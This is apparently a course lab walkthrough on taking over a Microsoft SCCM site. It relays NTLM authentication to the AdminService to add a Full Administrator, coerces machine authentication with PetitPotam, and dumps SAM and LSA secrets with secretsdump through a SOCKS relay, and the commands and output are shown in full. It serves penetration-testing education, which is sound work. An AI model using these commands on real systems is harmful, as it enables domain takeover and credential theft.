SCCM Site Takeover II
NTLM relay to the SMS Provider
Similar to the database attack, the Primary Server account must be a member of the SMS Admins
group. This group gives access to the WMI interfaces
and the AdminService API
. This REST API enables interaction with the SMS Provider and, by extension, with the MSSQL database via standardized HTTP requests. As a result, if the SMS Provider is installed on another server than the Primary Server, and if the API, which accepts NTLM authentication, among other things, is exposed on the server carrying the SMS Provider, it is then possible to relay this to the API and use it to send a request adding a new SCCM administrator user via the SMS_Admin WMI class
, which is integrated into the AdminService
API.
Moreover, since the HTTP service rarely checks NTLM signatures, this attack is particularly effective.
At the time of writing, this Pull Request on Impacket must be used to perform the attack with ntlmrelayx.py
.
We will use the same tunnel configuration we did with ligolo-ng
in the previous section. After configuring the tunnel, ntlmrelayx.py
must target the HTTPS service on the SMS Provider server
. When the NTLM authentication is received, ntlmrelayx.py
performs the entire attack by itself, adding the controlled user to the Full Administrators through the SMS_Admin
WMI class.
The first step is to clone the pull request:
$ git clone -b feature/relay-sccm-adminservice --single-branch https://github.com/garrettfoster13/impacket.git relay-sccm
Cloning into 'relay-sccm'...
remote: Enumerating objects: 22720, done.
remote: Total 22720 (delta 0), reused 0 (delta 0), pack-reused 22720
Receiving objects: 100% (22720/22720), 8.72 MiB | 8.80 MiB/s, done.
Resolving deltas: 100% (17360/17360), done.
Now we need to navigate into the relay-sccm
directory, create a virtual environment, and install impacket:
$ cd relay-sccm
$ python3 -m venv .sccmrelay
$ source .sccmrelay/bin/activate
$ python3 -m pip install .
Processing /home/plaintext/htb/modules/sccm/relay-sccm
Preparing metadata (setup.py) ... done
Collecting charset_normalizer
Using cached charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (140 kB)
Collecting dsinternals
...SNIP...
Now we can execute ntlmrelayx
and configure it to assign the admin rights to the account Dario
:
$ cd relay-sccm/examples
$ sudo su
# source .sccmrelay/bin/activate
# python3 ntlmrelayx.py -t https://172.50.0.40/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "LAB\dario" --displayname "LAB\dario" --objectsid S-1-5-21-2570265163-3918697770-3667495639-2222
Impacket v0.10.1.dev1+20230802.213755.1cebdf31 - Copyright 2022 Fortra
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
...SNIP...
[*] Servers started, waiting for connections
Now that ntlmrelayx
is waiting for connections, we can coerce the authentication from SCCM01
:
$ python3 PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 10.10.14.207 172.50.0.21
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:172.50.0.21[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Once PetitPotam
finishes, we should see in our ntlmrelayx
how SCCM01$
authentication is used to authenticate to the AdminService API. If the attack is successful, we should see the message Server returned code 201, attack successful
:
# python3 ntlmrelayx.py -t https://172.50.0.40/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "LAB\dario" --displayname "LAB\dario" --objectsid S-1-5-21-2570265163-3918697770-3667495639-2222
Impacket v0.10.1.dev1+20230802.213755.1cebdf31 - Copyright 2022 Fortra
...SNIP...
[*] SMBD-Thread-4 (process_request_thread): Received connection from 10.129.230.38, attacking target https://172.50.0.40
[*] Exiting standard auth flow to add SCCM admin...
[*] Authenticating against https://172.50.0.40 as LAB/SCCM01$
[*] Adding administrator via SCCM AdminService...
[*] Server returned code 201, attack successful
...SNIP...
With sccmhunter
, we can now verify the administrator's list:
$ python3 sccmhunter.py admin -u blwasp -p Password123! -ip 172.50.0.40
SCCMHunter v1.0.3 by @garrfoster
[18:08:41] INFO [!] Enter help for extra shell commands
() C:\ >> show_admins
[18:08:46] INFO Tasked SCCM to list current SMS Admins.
[18:08:46] INFO Current Full Admin Users:
[18:08:46] INFO LAB\sccm_admin
[18:08:46] INFO LAB\blwasp
[18:08:46] INFO LAB\dario
NTLM relay from a passive server
Finally, if a passive site server is present (for high availability), its machine account must be a member of the local Administrators group on the active site server. It must also be an administrator of all SCCM systems deployed on the site, including the MSSQL database. In this scenario, a new NTLM relay from the passive server to the active server's SMB service is possible.
Before running ntlmrelayx
, we must ensure that we have setup the tunnel with ligolo-ng
. ntlmrelayx.py
must be set up to target the SMB service on the Primary Server. When the NTLM authentication is received, a SOCKS session is opened on the Primary Server with administrative rights:
# ntlmrelayx.py -t 172.50.0.21 -smb2support -socks
Impacket v0.11.0 - Copyright 2023 Fortra
...SNIP...
[*] Servers started, waiting for connections
ntlmrelayx>
Now that ntlmrelayx
is waiting for connections, we can coerce the authentication from SCCM02
(the passive or secondary server):
$ python3 PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 10.10.14.207 172.50.0.22
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:172.50.0.22[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Once PetitPotam
finishes, we should see in our ntlmrelayx
how SCCM02$
authentication is used to authenticate to SCCM01
, and we have successfully established a socks session:
# ntlmrelayx.py -t 172.50.0.21 -smb2support -socks
...SNIP...
[*] SMBD-Thread-14 (process_request_thread): Received connection from 10.129.230.38, attacking target smb://172.50.0.21
[*] Authenticating against smb://172.50.0.21 as LAB/SCCM02$ SUCCEED
[*] SOCKS: Adding LAB/SCCM02$@172.50.0.21(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-15 (process_request_thread): Connection from 10.129.230.38 controlled, but there are no more targets left!
We can use secretsdump.py through this session to dump the SAM and LSA databases on the Primary Server. Since we are using -socks
on ntlmrelayx
, we must use proxychains
(from a root shell or with sudo) to use the newly created session to SCCM01
:
# proxychains4 -q secretsdump.py 'LAB/SCCM02$'@172.50.0.21 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x99bae75d092c3b9d979cf712fb4fcfde
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:12346acbe6bcfda7294d6bd18041b555:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:12432e0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:1236cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b16d6873b597bcdc0dc553eac61112ce:::
[*] Dumping cached domain logon information (domain/username:hash)
LAB.LOCAL/Administrator:$DCC2$10240#Administrator#22118c0355c1b19322960df4ac180d79: (2024-07-10 01:14:30)
LAB.LOCAL/sccm_admin:$DCC2$10240#sccm_admin#55477395bae00b82c381d078c3f9dd4a: (2024-07-11 10:54:32)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
LAB\SCCM01$:aes256-cts-hmac-sha1-96:12345b9eb9aeb722594c72e8c107bb2712d03e66046f03eb579d7a9bd4ed2b48
LAB\SCCM01$:aes128-cts-hmac-sha1-96:12324b3f73242fb332631904412441f9
LAB\SCCM01$:des-cbc-md5:b6b951341a628f32
LAB\SCCM01$:plain_password_hex:123b49014a1a62a083ad328bd6831fa14ef4e1caa4cb64fe25492ce45c6bedefd4395a7d3749e772ef67b5cf2006c123395b0a75b325815a283b4f10ec3163dec687cc0c3f2f86f41bedc3ad4c7ebe469078b4769f296e5eaacd5d4aa8b04979560c270171c2fc2e342e56a73373188587414a5b53f78675e
447b3afcea9abb7dcd65cd88f3f74e62da21577c0d19069850685540cdac35c08e9e70113146f7a9d0d31caadbb5087f0eb420ece4dc65722d95308b46155bd527c01fd0e24676923cf80d660c3cac22190ea442d515ab0b074b02f7ba8139ba5f8799b854a3ec80de5ff4e3b2909a5093556d7a756e447
LAB\SCCM01$:aad3b435b51404eeaad3b435b51404ee:12287584ab4bb4ef1123f0ed2f08ff79:::
...SNIP...
The hash can then be used via Pass-The-Hash to authenticate as the Primary Server on the SMS Provider (a member of the "SMS Admins" group) to add a new controlled Full Administrator.
$ python3 sccmhunter.py admin -u 'SCCM01$' -p aad3b435b51404eeaad3b435b51404ee:12287584ab4bb4ef1123f0ed2f08ff79 -ip 172.50.0.40
SCCMHunter v1.0.5 by @garrfoster
[10:10:29] INFO [!] Enter help for extra shell commands
() C:\ >> show_admins
[10:10:33] INFO Tasked SCCM to list current SMS Admins.
[10:10:34] INFO Current Full Admin Users:
[10:10:34] INFO LAB\sccm_admin
Conclusion
We learned how to abuse an SCCM infrastructure through different methods and understand the importance of mapping how it is configured. However, if we were attacking a single-server SCCM infrastructure, some of these methods may not work.
The following section will explore how to abuse SCCM administrative rights to compromise systems and move laterally through the network.